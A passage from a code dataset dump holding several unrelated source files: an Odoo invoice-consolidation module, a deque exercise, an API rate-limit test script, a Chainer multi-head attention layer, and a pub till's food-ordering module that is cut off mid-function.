month') \n on date_invoice between generate_series::date and generate_series::date + '1 month'::interval - '1 day'::interval\n where partner_id = %%s\n and i.state = 'draft'\n and i.id not in (select invoice_id from account_consolidated_invoice_link)\n group by %s partner_id, i.company_id, journal_id, currency_id, p.name, generate_series::date\n \"\"\"\n params = [data.day, mindate] + params\n elif data.period == 'endofmonth':\n # FIXME: make the month more human readable\n if not by_po:\n reference_field = \"'Consolidated invoice for month ' || extract(month from date_invoice)::varchar as reference\"\n sql_group = \"\"\"\n select %s, \n partner_id, i.company_id, journal_id, currency_id, p.name as partner_name, \n array_agg(i.id) as ids\n from account_invoice i\n inner join res_partner p on partner_id = p.id\n where partner_id = %%s\n and i.state = 'draft'\n and i.id not in (select invoice_id from account_consolidated_invoice_link)\n and date_invoice < date_trunc('month', current_date)\n group by %s extract(month from date_invoice), partner_id, i.company_id, journal_id, currency_id, p.name\n \"\"\"\n group_by_extra = ''\n if by_po:\n group_by_extra = 'i.name,'\n sql = sql_group % (reference_field, group_by_extra)\n cr.execute(sql, tuple(params))\n records = cr.dictfetchall()\n invoice_info = []\n for record in records:\n ids = record['ids']\n del(record['ids'])\n invoice_info.append({'ids': ids, 'data':record})\n return invoice_info\n\n def consolidate_invoices(self, cr, uid, data, context=None):\n method = data.method\n\n if method == 'po':\n invoice_info = self._consolidate_by_po(cr, uid, data, context=context)\n elif method == 'po_for_selection':\n invoice_info = self._consolidate_by_po(cr, uid, data, [i.id for i in data.invoices], context=context)\n elif method == 'period':\n invoice_info = self._consolidate_by_period(cr, uid, data, context=context)\n elif method == 'po_and_period':\n invoice_info = self._consolidate_by_period(cr, uid, data, by_po=True, context=context)\n else:\n pass\n # throw an exception.\n\n invoice_ids = []\n for invoice in invoice_info:\n inv_id = self._create_for_invoices(cr, uid, invoice['ids'], invoice['data'], context=context)\n invoice_ids.append(inv_id)\n\n return invoice_ids\n\n def _create_for_invoices(self, cr, uid, ids, data, context=None):\n new_obj = {\n 'line_text': \"Consolidated Invoice for %s\" % data['partner_name'],\n 'invoice_links': [(0, False, {'invoice_id':i}) for i in ids],\n 'reference': data['reference'] or self.pool.get('ir.sequence').get(cr, uid, 'account.consolidated.invoice'),\n 'state': 'draft',\n 'date_invoice': time.strftime('%Y-%m-%d'),\n 'currency_id': data['currency_id'],\n 'journal_id': data['journal_id'],\n 'company_id': data['company_id'],\n 'partner_id': data['partner_id'],\n }\n invoice_id = self.create(cr, uid, new_obj, context=context)\n return invoice_id\n\n def create_for_invoices(self, cr, uid, ids, context=None):\n \"\"\"\n This creates a consolidated invoice for a set of invoices.\n \"\"\"\n account_pool = self.pool.get('account.invoice')\n invoices = account_pool.browse(cr, uid, ids, context=context)\n journal_id = invoices[0].journal_id.id\n reference = invoices[0].reference or invoices[0].name\n partner = invoices[0].partner_id\n partner_id = partner.id\n company_id = invoices[0].company_id.id\n currency_id = invoices[0].currency_id.id\n partner_name = partner.name\n\n invoice_id = self._create_for_invoices(cr, uid, ids, {\n 'partner_id': partner_id,\n 'currency_id': currency_id,\n 'partner_name': partner_name,\n 'journal_id': journal_id,\n 'company_id': company_id,\n 'reference': reference,\n }, context=context)\n return invoice_id\n\n def name_get(self, cr, uid, ids, context=None):\n objs = self.browse(cr, uid, ids)\n res = [ (i.id, i.reference or i.name) for i in objs ]\n return res\n\nclass consolidated_invoice_link(osv.osv):\n\n def _amount_all(self, cr, uid, ids, name, args, context=None):\n res = {}\n for ci in self.browse(cr, uid, ids, context=context):\n res[ci.id] = {\n 'amount_untaxed': 0.0,\n 'amount_tax': 0.0,\n 'amount_total': 0.0,\n 'residual': 0.0\n }\n invoice = ci.invoice_id\n refund = re.match('.*refund$', invoice.type)\n if refund:\n res[ci.id]['residual'] -= invoice.residual\n res[ci.id]['amount_tax'] -= invoice.amount_tax\n res[ci.id]['amount_untaxed'] -= invoice.amount_untaxed\n else:\n res[ci.id]['amount_tax'] += invoice.amount_tax\n res[ci.id]['residual'] += invoice.residual\n res[ci.id]['amount_untaxed'] += invoice.amount_untaxed\n res[ci.id]['amount_total'] = res[ci.id]['amount_tax'] + res[ci.id]['amount_untaxed']\n return res\n\n def _get_invoices(self, cr, uid, ids, context=None):\n # this function is passed a list of invoices that have changed. \n # this function then returns the list of consolidated invoices they are\n # on so that they can be recalculated.\n result = {}\n for invoice in self.pool.get('account.invoice').browse(cr, uid, ids, context=context):\n if invoice.consolidated_invoice_link:\n for inv_id in [ i.id for i in invoice.consolidated_invoice_link ]:\n result[inv_id] = True\n return result.keys()\n\n def _get_invoice_line(self, cr, uid, ids, context=None):\n result = {}\n for line in self.pool.get('account.invoice.line').browse(cr, uid, ids, context=context):\n ci_link = line.invoice_id.consolidated_invoice_link\n if ci_link:\n result[ci_link[0].id] = True\n return result.keys()\n\n def _get_invoice_tax(self, cr, uid, ids, context=None):\n result = {}\n for tax in self.pool.get('account.invoice.tax').browse(cr, uid, ids, context=context):\n ci_link = tax.invoice_id.consolidated_invoice_link\n if ci_link:\n result[ci_link[0].id] = True\n return result.keys()\n\n _name = 'account.consolidated.invoice.link'\n _description = 'Consolidated invoice'\n _columns = {\n 'consolidated_invoice_id': fields.many2one('account.consolidated.invoice', 'Consolidated Invoice Reference', ondelete='cascade', select=True),\n 'invoice_id': fields.many2one('account.invoice', 'Invoice', ondelete='cascade', select=True, required=True),\n 'amount_total': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Invoice Total',\n store={\n 'account.consolidated.invoice.link': (lambda self, cr, uid, ids, c={}: ids, ['invoice_id'], 20),\n 'account.invoice': (_get_invoices, ['amount_total'], 20),\n },\n multi='all'),\n 'amount_untaxed': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Subtotal',\n store={\n 'account.consolidated.invoice.link': (lambda self, cr, uid, ids, c={}: ids, ['invoice_id'], 20),\n 'account.invoice': (_get_invoices, ['amount_untaxed'], 20),\n },\n multi='all'),\n 'amount_tax': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Tax',\n store={\n 'account.consolidated.invoice.link': (lambda self, cr, uid, ids, c={}: ids, ['invoice_id'], 20),\n 'account.invoice': (_get_invoices, ['amount_tax'], 20),\n },\n multi='all'),\n 'residual': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Balance',\n store={\n 'account.consolidated.invoice.link': (lambda self, cr, uid, ids, c={}: ids, ['invoice_id'], 20),\n 'account.invoice': (_get_invoices, ['residual'], 20),\n },\n multi='all'),\n }\n\n\nclass account_invoice(osv.osv):\n\n def _consolidated_invoice(self, cr, uid, ids, name, args, context=None):\n i = self.browse(cr, uid, ids)\n result = dict([(inv.id, inv.consolidated_invoice_link and (inv.consolidated_invoice_link[0].consolidated_invoice_id.id, inv.consolidated_invoice_link[0].consolidated_invoice_id.reference) or False) for inv in i])\n return result\n\n _inherit = \"account.invoice\"\n\n _columns = {\n 'consolidated_invoice_link': fields.one2many('account.consolidated.invoice.link', 'invoice_id', 'Consolidated Invoice'),\n 'consolidated_invoice': fields.function(_consolidated_invoice, type='many2one', relation='account.consolidated.invoice', readonly=True, string='Consolidated Invoice')\n }\n\n\ndef _get_for_moves(cr, uid, ids, context=None):\n # do a quick bit of SQL to figure out the consolidated invoices\n # relating to the movements.\n sql = \"\"\"\n select consolidated_invoice_id \n from account_consolidated_invoice_link l \n inner join account_invoice i on i.id = l.invoice_id \n where i.move_id in %s\n \"\"\"\n cr.execute(sql, (tuple(ids),))\n cis = [ r[0] for r in cr.fetchall() ]\n return cis\n","repo_name":"OpusVL/consolidated_invoices","sub_path":"consolidated_invoices/consolidated_invoice.py","file_name":"consolidated_invoice.py","file_ext":"py","file_size_in_byte":30391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"71335727554","text":"import sys\nfrom collections import deque\n\nnum = int(sys.stdin.readline())\n\ndeck = deque()\nfor _ in range(num):\n\n k = sys.stdin.readline().split()\n \n if k[0] == 'empty':\n if deck:\n print(0)\n else:\n print(1) \n\n elif k[0] == 'push_front':\n deck.appendleft(k[1]) \n \n elif k[0] == 'push_back':\n deck.append(k[1])\n \n elif k[0] == 'pop_front':\n if deck:\n r = deck.popleft()\n print(r)\n else:\n print(-1)\n \n elif k[0] == 'pop_back':\n if deck:\n r = deck.pop()\n print(r)\n else:\n print(-1)\n \n elif k[0] == 'size':\n print(len(deck))\n\n elif k[0] == 'front':\n if deck:\n print(deck[0])\n else:\n print(-1)\n\n elif k[0] == 'back':\n if deck:\n print(deck[-1])\n else:\n print(-1)\n\n\n","repo_name":"kokoko12334/TIL2","sub_path":"baekjoon/10866.py","file_name":"10866.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29681483114","text":"import csv\nimport string\nfrom typing import List\n\n\ndata = '12/10/22_'\ntime = '1k:00'\n# print(len(data))\n# print(len(time))\n\nif len(time) == 5 and time[2] == ':':\n print('da1')\n temp = time.replace(':', '')\n if temp.isdigit():\n print('da2')\n else:\n print('net2') \nelse:\n print('net')\n","repo_name":"SergeiEremkin/phonebook_teamwork","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12234842450","text":"import requests\nfrom requests.exceptions import HTTPError\n# pip install requests\nfrom LDAPIWrapper import checkRateLimit\n\n\nAPI_KEY = \"your-api-key\"\nURL = '/projects/[YOURPROJECT]/environments/[YOURENVIRONMENT]'\nBODY = {}\n\nREPEATS = 100\n\nwhile REPEATS > 0:\n apiTest = checkRateLimit(\"GET\", URL, API_KEY, BODY)\n rateLimitRemaining = apiTest.headers['X-Ratelimit-Route-Remaining']\n print('Current repeats: ' + str(REPEATS) + '. Current rate limit: ' + str(rateLimitRemaining))\n REPEATS -= 1\n","repo_name":"ttotenberg-ld/LDAPIRateLimitHandler","sub_path":"Example.py","file_name":"Example.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40041501626","text":"#!/usr/bin/env python\n\"\"\"models.py: Implementation of RNNSearch in Chainer\"\"\"\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport chainer\nimport numpy as np\nimport chainer.functions as F\nimport chainer.links as L\nfrom chainer import Variable, Chain, ChainList\n\nfrom nmt_chainer.models.feedforward.utils import apply_linear_layer_to_last_dims, DropoutAndAddAndNormalize\n\n#from nmt_chainer.additional_links.layer_normalization import LayerNormalizationLink as LayerNormalization\n\n########################################################################\n# helper functions\n#\n\ndef reorganize_by_head(Q, n_heads):\n mb_size, n_Q, d_model = Q.data.shape\n assert d_model%n_heads == 0\n head_size = d_model // n_heads\n reshaped_Q = F.reshape(Q, (mb_size, n_Q, n_heads, head_size))\n return F.swapaxes(reshaped_Q, 1, 2)\n\ndef undo_reorganize_by_head(Q):\n mb_size, n_heads, n_Q, head_size = Q.data.shape\n swapped_Q = F.swapaxes(Q, 1, 2)\n return F.reshape(swapped_Q, (mb_size, n_Q, -1))\n\ndef test_reorganize_by_head():\n Q = Variable(np.arange(2*3*5*7).reshape(5, 7, 2*3).astype(np.float32))\n Qr = reorganize_by_head(Q, 2)\n Qrr = undo_reorganize_by_head(Qr)\n \n assert np.all(Qrr.data == Q.data)\n assert Qr.data.base is Q.data\n assert Qrr.data.base is Q.data\n assert np.all(Qr.data[:, 0, :, :]%6 < 3)\n assert np.all(Qr.data[:, 1, :, :]%6 >= 3)\n\ndef batch_matmul_last_dims(A, B, transa=False, transb=False):\n assert A.data.shape[:-2] == B.data.shape[:-2]\n reshaped_A = F.reshape(A, (-1,) + A.data.shape[-2:])\n reshaped_B = F.reshape(B, (-1,) + B.data.shape[-2:])\n reshaped_result = F.batch_matmul(reshaped_A, reshaped_B, transa=transa, transb=transb)\n result = F.reshape(reshaped_result, A.data.shape[:-2] + reshaped_result.data.shape[-2:])\n return result\n\n########################################################################\n# Multihead Attention\n#\n\ndisable_cudnn_softmax=False\n\nclass ConstantSizeMultiBatchMultiHeadAttention(Chain):\n \"\"\"\n Assume all layers have same size d_model\n \"\"\"\n def __init__(self, d_model = 512, n_heads = 8, experimental_relu=False, dropout=None):\n if d_model%n_heads != 0:\n raise ValueError(\"d_model(%i) should be divisible by n_head(%i)\"%(d_model, n_heads))\n \n super(ConstantSizeMultiBatchMultiHeadAttention, self).__init__(\n w_Q = L.Linear(d_model, d_model, nobias=False),\n w_K = L.Linear(d_model, d_model, nobias=True),\n w_V = L.Linear(d_model, d_model, nobias=False),\n )\n \n if n_heads >= 2:\n self.add_link(\"w_O\", L.Linear(d_model, d_model)) #if n_heads == 1, it is redundant with w_V\n \n self.d_model = d_model\n self.n_heads = n_heads\n self.head_size = d_model // n_heads\n \n scaling_factor = 1.0 / self.xp.sqrt(self.xp.array([[[[self.head_size]]]], dtype=self.xp.float32))\n self.add_persistent(\"scaling_factor\", scaling_factor) #added as persistent so that it works with to_gpu/to_cpu\n \n self.experimental_relu = experimental_relu\n \n self.dropout = dropout\n \n \n def __call__(self, Q, K, V, batch_mask = None):\n# print \"Q\",\n# print Q.data\n# print \"K\",\n# print K.data\n# print \"V\",\n# print V.data\n# print \"M\", batch_mask\n \n mb_size_Q, n_Q, d_model_Q = Q.data.shape\n mb_size_K, seq_length_K, d_model_K = K.data.shape\n mb_size_V, seq_length_V, d_model_V = V.data.shape\n \n assert mb_size_Q == mb_size_K == mb_size_V\n assert d_model_Q == d_model_K == d_model_V == self.d_model\n assert seq_length_K == seq_length_V \n \n mb_size = mb_size_Q\n \n if batch_mask is not None: \n mb_size_batch_mask, mask_n_heads, mask_n_Q, mask_seq_length_K = batch_mask.shape\n assert mb_size_batch_mask == mb_size\n assert mask_n_heads == self.n_heads\n assert mask_n_Q == n_Q, \"%i != %i\"%(mask_n_Q, n_Q)\n assert mask_seq_length_K == mask_seq_length_K \n \n \n proj_Q = apply_linear_layer_to_last_dims(Q, self.w_Q)\n proj_K = apply_linear_layer_to_last_dims(K, self.w_K)\n proj_V = apply_linear_layer_to_last_dims(V, self.w_V)\n \n reorganized_Q = reorganize_by_head(proj_Q, self.n_heads)\n reorganized_K = reorganize_by_head(proj_K, self.n_heads)\n \n scalar_product = batch_matmul_last_dims(reorganized_Q, reorganized_K, transb=True)\n# print \"S\", scalar_product.data \n scaling_factor = self.xp.broadcast_to(self.scaling_factor, (mb_size, self.n_heads, n_Q, seq_length_K))\n scaled_scalar_product = scalar_product * scaling_factor\n \n if batch_mask is not None:\n scaled_scalar_product = scaled_scalar_product + batch_mask\n# print \"B\", scaled_scalar_product.data \n if self.experimental_relu:\n addressing_weights = F.relu(scaled_scalar_product)\n else:\n addressing_weights = F.reshape(F.softmax(F.reshape(scaled_scalar_product, (mb_size * n_Q * self.n_heads, seq_length_K)),\n #use_cudnn=disable_cudnn_softmax\n ),\n (mb_size, self.n_heads, n_Q, seq_length_K) )\n \n if self.dropout is not None:\n addressing_weights = F.dropout(addressing_weights, ratio=self.dropout)\n \n# print \"A\", addressing_weights.data\n reorganized_V = reorganize_by_head(proj_V, self.n_heads)\n reorganized_result = batch_matmul_last_dims(addressing_weights, reorganized_V)\n result = undo_reorganize_by_head(reorganized_result)\n \n if self.n_heads >= 2:\n result = apply_linear_layer_to_last_dims(result, self.w_O)\n \n# print \"R\", result.data\n return result\n \n \nclass AddAndNormalizedAttentionBase(Chain):\n def __init__(self, d_model, n_heads, experimental_relu=False, dropout=None, residual_mode=\"normal\", no_normalize=False):\n super(AddAndNormalizedAttentionBase, self).__init__(\n multi_attention= ConstantSizeMultiBatchMultiHeadAttention(d_model = d_model, n_heads=n_heads,\n experimental_relu=experimental_relu,\n dropout=dropout),\n \n residual_layer = DropoutAndAddAndNormalize(dropout=dropout, residual_mode=residual_mode, no_normalize=no_normalize)\n )\n \n self.d_model = d_model\n \n# self.dropout = dropout\n# \n# if not no_normalize:\n# self.add_link(\"normalizing_layer\", LayerNormalization())\n# \n# self.no_add = no_add\n# self.no_normalize = no_normalize\n \n# def dropout_and_add_and_normalize(self, sub_output, inpt, train=True):\n# if self.dropout is not None:\n# sub_output = F.dropout(sub_output, ratio=self.dropout, train=train)\n# \n# if self.no_add:\n# added_output = sub_output\n# else:\n# added_output = sub_output + inpt\n# \n# if self.no_normalize:\n# final_layer = added_output\n# else:\n# mb, length, d_model = added_output.shape\n# final_layer = F.reshape(\n# self.normalizing_layer(\n# F.reshape(added_output, (mb * length, d_model))\n# ), (mb, length, d_model))\n# \n# return final_layer\n \n def extract_last(self, x):\n mb_size, nQ, dm = x.data.shape\n if nQ == 1:\n return x\n _, x_last = F.split_axis(x, (nQ-1,), axis=1, force_tuple=True)\n assert x_last.data.shape == (mb_size, 1, dm)\n return x_last\n \n \n \nclass AddAndNormalizedSelfAttentionLayer(AddAndNormalizedAttentionBase):\n def __init__(self, d_model, n_heads, experimental_relu=False, dropout=None, residual_mode=\"normal\", no_normalize=False):\n super(AddAndNormalizedSelfAttentionLayer, self).__init__(\n d_model, n_heads, experimental_relu=experimental_relu, dropout=dropout,\n residual_mode=residual_mode, no_normalize=no_normalize\n )\n \n def __call__(self, x, mask, only_last=False):\n# print \"SELF\"\n if only_last:\n x_in = self.extract_last(x)\n else:\n x_in = x\n sub_output = self.multi_attention(x_in, x, x, mask)\n \n return self.residual_layer(sub_output, x_in)\n \n \nclass AddAndNormalizedCrossAttentionLayer(AddAndNormalizedAttentionBase):\n def __init__(self, d_model, n_heads, experimental_relu=False, dropout=None, residual_mode=\"normal\", no_normalize=False):\n super(AddAndNormalizedCrossAttentionLayer, self).__init__(\n d_model, n_heads, experimental_relu=experimental_relu, dropout=dropout,\n residual_mode=residual_mode, no_normalize=no_normalize\n )\n \n def __call__(self, tgt_x, src_x, mask, only_last=False):\n# print \"CROSS\"\n if only_last:\n x_in = self.extract_last(tgt_x)\n else:\n x_in = tgt_x\n sub_output = self.multi_attention(x_in, src_x, src_x, mask)\n \n return self.residual_layer(sub_output, x_in)\n \n","repo_name":"fabiencro/knmt","sub_path":"nmt_chainer/models/feedforward/multi_attention.py","file_name":"multi_attention.py","file_ext":"py","file_size_in_byte":9880,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"61"} +{"seq_id":"25458304223","text":"import requests\nimport sys\nimport traceback\nimport datetime\nimport logging\nfrom . import ui, keyboard, td, printer, tillconfig, user\nfrom .user import log as userlog\nfrom . import lockscreen\nfrom . import register\nfrom .models import zero\nfrom decimal import Decimal\n\nlog = logging.getLogger(__name__)\n\nmenu_keys = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n\n\nclass Menu:\n def __init__(self, d, allowable_departments):\n self.name = d.get('name', 'Unnamed menu')\n self.footer = d.get('footer', 'Thank you')\n self.sections = [Section(x, allowable_departments)\n for x in d.get('sections', [])]\n self.sections = [x for x in self.sections if x.ok]\n\n\nclass Section:\n def __init__(self, d, allowable_departments):\n self.title = d.get('title', 'Untitled section')\n self.available = d.get('available', True)\n self.dishes = [Dish(x) for x in d.get('dishes', [])]\n self.dishes = [x for x in self.dishes if x.ok]\n if allowable_departments:\n self.dishes = [x for x in self.dishes\n if x.department in allowable_departments]\n\n @property\n def ok(self):\n return self.available and self.dishes\n\n def select(self, dialog):\n menu = [(dish.name, dish.select, (dialog,)) for dish in self.dishes]\n ui.automenu(menu, spill=\"keymenu\", title=self.title,\n colour=ui.colour_line)\n\n\nclass Dish:\n def __init__(self, d):\n self.name = d.get('name', 'Unnamed dish')\n self.price = Decimal(d.get('price') or zero)\n self.placeholder = d.get('placeholder', False)\n self.available = d.get('available', False)\n self.department = d.get('department')\n self.option_groups = [OptionGroup(x)\n for x in d.get('option_groups', [])]\n self.option_groups = [x for x in self.option_groups if x.ok]\n\n @property\n def ok(self):\n return self.available and not self.placeholder\n\n def options(self):\n return [opt for og in self.option_groups for opt in og.options]\n\n def price_with_options(self, options):\n return self.price + sum(opt.price * qty for opt, qty in options)\n\n def name_with_options(self, options, comment):\n d = self.name\n if options:\n d += f\"; {', '.join(opt.name_with_qty(qty) for opt, qty in options)}\" # noqa: E501\n if comment:\n d += f\". Comment: {comment}\"\n return d\n\n def select(self, dialog):\n orderline(self).edit(dialog.insert_item)\n\n\nclass OptionGroup:\n def __init__(self, d):\n self.description = d.get('description', 'Unnamed option group')\n self.min_choices = d.get('min_choices', 0)\n self.max_choices = d.get('max_choices')\n self.available = d.get('available', True)\n self.options = [Option(x, self) for x in d.get('options', [])]\n self.options = [x for x in self.options if x.available]\n\n @property\n def ok(self):\n # NB an option group with no options is still valid and its\n # min_choices must still be respected!\n return self.available\n\n\nclass Option:\n def __init__(self, d, group):\n self.optiongroup = group\n self.name = d.get('name', 'Unnamed option')\n self.price = Decimal(d.get('price') or zero)\n self.max_allowed = d.get('max_allowed', 1)\n self.available = d.get('available', True)\n\n def name_with_qty(self, qty):\n return self.name if qty == 1 else f\"{self.name} (×{qty})\"\n\n\nclass optiongroup_selection:\n \"\"\"Options chosen from an option group\n \"\"\"\n def __init__(self, option_group):\n self.option_group = option_group\n self.o = []\n\n def options(self):\n # Return a list of (Option, qty)\n return [(opt, self.o.count(opt)) for opt in self.option_group.options\n if self.o.count(opt)]\n\n def valid(self):\n return len(self.o) >= self.option_group.min_choices\n\n def add_option(self, option):\n \"\"\"Add an option to the group\n\n Return True if doing so had a visible effect\n \"\"\"\n count = self.o.count(option)\n if count >= option.max_allowed:\n return False\n self.o.append(option)\n if self.option_group.max_choices \\\n and len(self.o) > self.option_group.max_choices:\n removed = self.o.pop(0)\n return removed != option\n return True\n\n\nclass orderline(ui.lrline):\n def __init__(self, dish):\n super().__init__()\n self.dish = dish\n # Options stored as a list of (option, qty)\n self.options = []\n # Options stored as a list, in the order in which the user\n # selected them - only used by the editor\n self.option_selections = []\n self.comment = \"\"\n self.update()\n\n @property\n def price(self):\n return self.dish.price_with_options(self.options)\n\n @property\n def dept(self):\n return self.dish.department\n\n def update(self):\n self.ltext = self.dish.name_with_options(self.options, self.comment)\n self.rtext = tillconfig.fc(self.price) if self.price else \"\"\n super().update()\n\n def edit(self, func):\n orderline_dialog(self, func)\n\n def copy(self):\n ol = orderline(self.dish)\n ol.options = list(self.options)\n ol.option_selections = list(self.option_selections)\n ol.comment = self.comment\n ol.update()\n return ol\n\n\nclass orderline_dialog(ui.dismisspopup):\n def __init__(self, orderline, func):\n self.orderline = orderline\n self.func = func\n\n # List of all possible options; may be empty\n self.optionlist = orderline.dish.options()\n # List of options selected by the user, in order\n self.option_selections = list(orderline.option_selections)\n\n mh, mw = ui.rootwin.size()\n\n # Height: we need four lines for the \"text entry\" box at the\n # top, four lines for the top/bottom border, two lines for the\n # prompt (including one blank), one line for the\n # comment/scroll prompt\n h = 4 + 4 + 2 + 1\n\n available_height = mh - h\n\n if available_height < 2:\n ui.infopopup([\"There is not enough screen height to display this \"\n \"dialog.\"], title=\"Error\")\n return\n\n # If there are any options, we need a blank line, plus one\n # line for each option key.\n self.option_index = 0 # how far have we scrolled through the options?\n if self.optionlist:\n display_options = min(len(menu_keys), len(self.optionlist))\n if display_options + 1 > available_height:\n display_options = available_height - 1\n self.menu_keys = menu_keys[:display_options]\n h += display_options + 1\n else:\n self.menu_keys = []\n\n # We could go wider. But would it look odd?\n self.w = 68\n km = {keyboard.K_CASH: (self.finish, None, False)}\n super().__init__(h, self.w, orderline.dish.name + \" options\",\n colour=ui.colour_line, keymap=km)\n self.promptlabel = ui.label(7, 2, self.w - 14)\n self.pricelabel = ui.label(7, self.w - 12, 10, align=\">\")\n self.leftlabel = ui.label(h - 2, 2, 6, align=\"<\")\n self.rightlabel = ui.label(h - 2, self.w - 8, 6, align=\">\")\n self.commentlabel = ui.label(\n h - 2, 8, self.w - 16, \"Press 0 to add a comment\", align=\"^\")\n self.update_options()\n self.comment = orderline.comment\n self.draw_option_menu()\n self.redraw()\n\n def draw_option_menu(self):\n if not self.optionlist:\n return\n y = 9\n self.win.clear(y, 2, len(self.menu_keys), self.w - 4)\n for key, opt in zip(\n self.menu_keys, self.optionlist[self.option_index:]):\n self.win.drawstr(y, 2, 3, f\"{key}: \", align=\">\")\n self.win.drawstr(y, 5, self.w - 7, opt.name)\n y += 1\n self.leftlabel.set(\"◀ More\" if self.option_index > 0 else \"\")\n self.rightlabel.set(\n \"More ▶\"\n if self.option_index + len(self.menu_keys) < len(self.optionlist)\n else \"\")\n self.win.move(2, 2)\n\n def update_description(self):\n self.win.clear(2, 2, 4, self.w - 4, colour=ui.colour_line.reversed)\n self.win.wrapstr(2, 2, self.w - 4,\n self.orderline.dish.name_with_options(\n self.options, self.comment),\n colour=ui.colour_line.reversed)\n self.win.move(2, 2)\n\n def update_options(self):\n # Recalculate self.options and self.options_valid from\n # self.option_selections\n ogs = {og: optiongroup_selection(og)\n for og in self.orderline.dish.option_groups}\n self.option_selections = [\n opt for opt in self.option_selections\n if ogs[opt.optiongroup].add_option(opt)]\n valid = [og.valid() for og in ogs.values()]\n self.options = [x for og in self.orderline.dish.option_groups\n for x in ogs[og].options()]\n self.options_valid = not (False in valid)\n\n def redraw(self):\n self.update_description()\n p = self.orderline.dish.price_with_options(self.options)\n self.pricelabel.set(tillconfig.fc(p) if p else \"\")\n if self.options_valid:\n if self.optionlist:\n self.promptlabel.set(\n \"Choose options, and press Cash/Enter to confirm.\")\n else:\n self.promptlabel.set(\n \"Press Cash/Enter to confirm.\")\n else:\n self.promptlabel.set(\"Choose options from the list below.\")\n self.win.move(2, 2)\n\n def finish(self):\n if not self.options_valid:\n return\n self.orderline.options = self.options\n self.orderline.option_selections = self.option_selections\n self.orderline.comment = self.comment\n self.orderline.update()\n self.dismiss()\n self.func(self.orderline)\n\n def update_comment(self, comment):\n self.comment = comment\n self.update_description()\n\n def keypress(self, k):\n if k == '0':\n editcomment(self.comment, self.orderline.dish.name,\n self.update_comment)\n elif k == keyboard.K_RIGHT \\\n and self.option_index + len(self.menu_keys) \\\n < len(self.optionlist): # noqa: E127\n self.option_index += len(self.menu_keys)\n self.draw_option_menu()\n elif k == keyboard.K_LEFT and self.option_index > 0:\n self.option_index -= len(self.menu_keys)\n self.draw_option_menu()\n elif k in self.menu_keys \\\n and self.menu_keys.index(k) + self.option_index \\\n < len(self.optionlist): # noqa: E127\n self.option_selections.append(\n self.optionlist[self.menu_keys.index(k) + self.option_index])\n self.update_options()\n self.redraw()\n elif k == keyboard.K_CLEAR and self.option_selections:\n # Perform an \"undo\"...\n self.option_selections.pop(-1)\n self.update_options()\n self.redraw()\n else:\n super().keypress(k)\n\n\nclass editcomment(ui.dismisspopup):\n \"\"\"Allow the user to edit the comment of an order line.\n \"\"\"\n def __init__(self, comment, description, func):\n super().__init__(7, 66, title=\"Edit comment\",\n dismiss=keyboard.K_CLEAR,\n colour=ui.colour_input)\n self.win.drawstr(2, 2, 50, f\"Edit the comment for {description}:\")\n self.commentfield = ui.editfield(\n 4, 2, 62, f=comment, flen=240,\n keymap={keyboard.K_CASH: (self.enter, None)})\n self.func = func\n self.commentfield.focus()\n\n def enter(self):\n self.dismiss()\n self.func(self.commentfield.f)\n\n\nclass tablenumber(ui.dismisspopup):\n \"\"\"Request a table number and call a function with it.\n \"\"\"\n def __init__(self, func):\n super().__init__(5, 20, title=\"Table number\",\n dismiss=keyboard.K_CLEAR,\n colour=ui.colour_line)\n self.win.drawstr(2, 2, 14, \"Table number: \", align=\">\")\n self.numberfield = ui.editfield(\n 2, 16, 5, keymap={keyboard.K_CASH: (self.enter, None)})\n self.func = func\n self.numberfield.focus()\n\n def enter(self):\n self.dismiss()\n self.func(self.numberfield.f)\n\n\ndef print_food_order(driver, number, ol, verbose=True, tablenumber=None,\n footer=\"\", transid=None, user=None):\n \"\"\"This function prints a food order to the specified printer.\n \"\"\"\n with driver as d:\n if verbose:\n d.printline(f\"\\t{tillconfig.pubname}\", emph=1)\n for i in tillconfig.pubaddr().splitlines():\n d.printline(f\"\\t{i}\", colour=1)\n d.printline(f\"\\tTel. {tillconfig.pubnumber}\")\n d.printline()\n if tablenumber is not None:\n d.printline(f\"\\tTable number {tablenumber}\", colour=1, emph=1)\n d.printline()\n if transid is not None:\n d.printline(f\"\\tTransaction {transid}\")\n d.printline()\n if user:\n d.printline(f\"\\t{user}\")\n d.printline()\n d.printline(f\"\\tFood order {number}\", colour=1, emph=1)\n d.printline()\n d.printline(f\"\\t{ui.formattime(datetime.datetime.now())}\")\n d.printline()\n for item in ol:\n d.printline(f\"{item.dish.name}\\t\\t{item.price}\")\n for option, qty in item.options:\n for _ in range(qty):\n d.printline(f\" {option.name}\")\n if item.comment:\n d.printline(f\" Comment: {item.comment}\")\n d.printline()\n d.printline(f\"\\tFood order {number}\", colour=1, emph=1)\n if tablenumber is not None:\n d.printline()\n d.printline(f\"\\tTable {tablenumber}\", colour=1, emph=1)\n if verbose:\n d.printline()\n d.printline(f\"\\t{footer}\")\n else:\n d.printline()\n d.printline()\n\n\nclass popup(user.permission_checked, ui.basicpopup):\n \"\"\"Take a food order from the user and print it\n\n Call func with a list of (dept, text, items, amount) tuples\n \"\"\"\n permission_required = ('kitchen-order', 'Send an order to the kitchen')\n\n def __init__(self, func, transid, menuurl, kitchenprinters,\n message_department, allowable_departments,\n ordernumberfunc=td.foodorder_ticket,\n requests_session=None):\n self.kitchenprinters = kitchenprinters\n self.message_department = message_department\n if not requests_session:\n requests_session = requests\n try:\n r = requests_session.get(menuurl, timeout=3)\n if r.status_code != 200:\n ui.infopopup([\"Could not read the menu: web request returned \"\n f\"status {r.status_code}.\"],\n title=\"Could not read menu\")\n return\n except requests.exceptions.ConnectionError:\n 